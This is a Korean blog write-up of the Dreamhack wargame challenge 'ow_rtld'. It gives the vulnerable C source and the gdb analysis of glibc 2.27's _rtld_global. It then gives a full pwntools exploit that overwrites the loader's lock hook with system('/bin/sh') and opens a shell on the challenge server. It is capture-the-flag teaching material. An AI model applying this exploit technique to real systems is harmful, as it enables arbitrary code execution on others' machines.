728x90
반응형
1. intro
2. code 및 분석
2.1 code
// Name: ow_rtld.c
// Compile: gcc -o ow_rtld ow_rtld.c
#include <stdio.h>
#include <stdlib.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int main() {
long addr;
long data;
int idx;
init();
printf("stdout: %p\n", stdout);
while (1) {
printf("> ");
scanf("%d", &idx);
switch (idx) {
case 1:
printf("addr: ");
scanf("%ld", &addr);
printf("data: ");
scanf("%ld", &data);
*(long long *)addr = data;
break;
default:
return 0;
}
}
return 0;
}
2.2 분석
프로그램 실행 시 stdout 함수 주소를 출력해주며, 이후 값을 받아들여 특정 주소에 특정 값을 쓸 수 있다.
3. 취약점 확인 및 공격 준비
3.1 취약점
우선 해당 파일의 보호 기법을 보면 모든 보호기법이 걸려있어서 일반적인 방법으로의 exploit은 불가하다.
┌──(kali㉿kali)-[~/Downloads]
└─$ checksec ow_rtld
[*] '/home/kali/Downloads/ow_rtld'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
다만, 코드 내에서 stdout 함수의 주소를 출력해주기에 memory leak이 가능하고, 특정 주소에 특정 값을 덮어씌울 수 있으며, return으로 종료되기에 rtld_global 구조체를 통한 exploit이 가능하다.
자세한 내용은 아래를 참고하자.
https://wyv3rn.tistory.com/103
3.2 공격 준비
우선 앞선 문제들과 마찬가지로 제공된 libc에 맞는 ld를 찾아 patchelf를 통해 링킹하자.
┌──(kali㉿kali)-[~/Downloads]
└─$ md5sum libc-2.27.so_18.04.3
50390b2ae8aaa73c47745040f54e602f libc-2.27.so_18.04.3
┌──(kali㉿kali)-[~/Downloads]
└─$ ls
4cb7ee61-e8cf-4bc9-995e-95afd705c8ce.zip ld-50390b2ae8aaa73c47745040f54e602f.so.2 ow_rtld.c
Dockerfile libc-2.27.so_18.04.3
flag ow_rtld
┌──(kali㉿kali)-[~/Downloads]
└─$ patchelf --set-interpreter ./ld-50390b2ae8aaa73c47745040f54e602f.so.2 ./ow_rtld
┌──(kali㉿kali)-[~/Downloads]
└─$ patchelf --replace-needed libc.so.6 ./libc-2.27.so_18.04.3 ow_rtld
┌──(kali㉿kali)-[~/Downloads]
└─$ ldd ow_rtld
linux-vdso.so.1 (0x00007ffe1b19a000)
./libc-2.27.so_18.04.3 (0x00007f9f1e0f6000)
./ld-50390b2ae8aaa73c47745040f54e602f.so.2 => /lib64/ld-linux-x86-64.so.2 (0x00007f9f1e6ed000)
이후 필요한 주소들을 구해보자.
...
→ 0x7ffff7de5a02 lea 0x217f5f(%rip), %rdi # 0x7ffff7ffd968 <_rtld_global+2312>
0x7ffff7de5a09 call *0x218551(%rip) # 0x7ffff7ffdf60 <_rtld_global+3840>
0x7ffff7de5a0f mov 0x8(%rbx), %edx
0x7ffff7de5a12 test %edx, %edx
0x7ffff7de5a14 je 0x7ffff7de59e0
0x7ffff7de5a16 mov (%rbx), %rax
────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "ow_rtld", stopped 0x7ffff7de5a02 in ?? (), reason: SINGLE STEP
──────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7ffff7de5a02 → lea 0x217f5f(%rip), %rdi # 0x7ffff7ffd968 <_rtld_global+2312>
[#1] 0x7ffff7a27041 → jmp 0x7ffff7a26f69
[#2] 0x7ffff7a2713a → exit()
[#3] 0x7ffff7a05b9e → __libc_start_main()
[#4] 0x5555554006fa → _start()
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────
...
gef➤ p &_rtld_global
$8 = (<data variable, no debug info> *) 0x7ffff7ffd060 <_rtld_global>
즉,
_rtld_global : 0x7ffff7ffd060
_dl_rtld_lock_recursive : 0x7ffff7ffdf60
_dl_load_lock : 0x7ffff7ffd968
가 된다.
libc base는 아래와 같다.
gef➤ vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x00555555400000 0x00555555401000 0x00000000000000 r-x /home/kali/Downloads/ow_rtld
0x00555555600000 0x00555555601000 0x00000000000000 r-- /home/kali/Downloads/ow_rtld
0x00555555601000 0x00555555602000 0x00000000001000 rw- /home/kali/Downloads/ow_rtld
0x00555555602000 0x00555555604000 0x00000000003000 rw- /home/kali/Downloads/ow_rtld
0x007ffff79e4000 0x007ffff7bcb000 0x00000000000000 r-x /home/kali/Downloads/libc-2.27.so_18.04.3
0x007ffff7bcb000 0x007ffff7dcb000 0x000000001e7000 --- /home/kali/Downloads/libc-2.27.so_18.04.3
0x007ffff7dcb000 0x007ffff7dcf000 0x000000001e7000 r-- /home/kali/Downloads/libc-2.27.so_18.04.3
0x007ffff7dcf000 0x007ffff7dd1000 0x000000001eb000 rw- /home/kali/Downloads/libc-2.27.so_18.04.3
0x007ffff7dd1000 0x007ffff7dd5000 0x00000000000000 rw-
0x007ffff7dd5000 0x007ffff7dfc000 0x00000000000000 r-x /home/kali/Downloads/ld-50390b2ae8aaa73c47745040f54e602f.so.2
0x007ffff7ff4000 0x007ffff7ff6000 0x00000000000000 rw-
0x007ffff7ff6000 0x007ffff7ffa000 0x00000000000000 r-- [vvar]
0x007ffff7ffa000 0x007ffff7ffc000 0x00000000000000 r-x [vdso]
0x007ffff7ffc000 0x007ffff7ffd000 0x00000000027000 r-- /home/kali/Downloads/ld-50390b2ae8aaa73c47745040f54e602f.so.2
0x007ffff7ffd000 0x007ffff7ffe000 0x00000000028000 rw- /home/kali/Downloads/ld-50390b2ae8aaa73c47745040f54e602f.so.2
0x007ffff7ffe000 0x007ffff7fff000 0x00000000000000 rw-
0x007ffffffde000 0x007ffffffff000 0x00000000000000 rw- [stack]
그러므로 오프셋을 구해보면
gef➤ p 0x7ffff7ffd060 - 0x007ffff79e4000
$10 = 0x619060
3. exploit
위의 값을 토대로 코드를 작성해보자.
특이사항으로는 /bin/sh 문자열은 인자로 들어가기에 직접적으로 문자열을 삽입해줘야한다.
from pwn import *
p = remote('host3.dreamhack.games', 24443)
#p = process('./ow_rtld')
e = ELF('./ow_rtld')
libc = ELF('./libc-2.27.so_18.04.3')
stdout = p.recvline()[-15:-1]
base = int(stdout,16) - libc.symbols['_IO_2_1_stdout_']
rtld_global_add = base + 0x619060
lock_add = rtld_global_add + 2312
recursive_add = rtld_global_add + 3840
system_add = base + libc.symbols['system']
print('stdout add : ',stdout)
print('libc base add : ',hex(base))
print('global add : ',hex(rtld_global_add))
print('recursive add : ',hex(recursive_add))
print('lock add : ',hex(lock_add))
print('system add : ',hex(system_add))
p.sendlineafter('> ',b'1')
p.sendlineafter('addr: ',str(recursive_add))
p.sendlineafter('data: ',str(system_add))
p.sendlineafter('> ',b'1')
p.sendlineafter('addr: ',str(lock_add))
p.sendlineafter('data: ',str(u64('/bin/sh\x00')))
p.sendlineafter('> ',b'0')
p.interactive()
┌──(kali㉿kali)-[~/Downloads]
└─$ python a.py
[+] Opening connection to host3.dreamhack.games on port 24443: Done
[*] '/home/kali/Downloads/ow_rtld'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/home/kali/Downloads/libc-2.27.so_18.04.3'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
stdout add : b'0x7f047b4d2760'
libc base add : 0x7f047b0e6000
global add : 0x7f047b6ff060
recursive add : 0x7f047b6fff60
lock add : 0x7f047b6ff968
system add : 0x7f047b135440
/usr/local/lib/python3.10/dist-packages/pwnlib/tubes/tube.py:822: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
res = self.recvuntil(delim, timeout=timeout)
/home/kali/Downloads/a.py:24: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendlineafter('addr: ',str(recursive_add))
/home/kali/Downloads/a.py:25: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendlineafter('data: ',str(system_add))
/home/kali/Downloads/a.py:27: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendlineafter('addr: ',str(lock_add))
/home/kali/Downloads/a.py:28: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendlineafter('data: ',str(u64('/bin/sh\x00')))
[*] Switching to interactive mode
$ id
uid=1000(ow_rtld) gid=1000(ow_rtld) groups=1000(ow_rtld)
$ cat flag
DH{----------#플래그는 삭제}
728x90
반응형
'Wargame > Dreamhack' 카테고리의 다른 글
rtld (0) | 2022.08.15 |
---|---|
__environ (0) | 2022.08.15 |
master_canary (2) | 2022.08.10 |
Master Canary (0) | 2022.08.07 |
seccomp (0) | 2022.08.07 |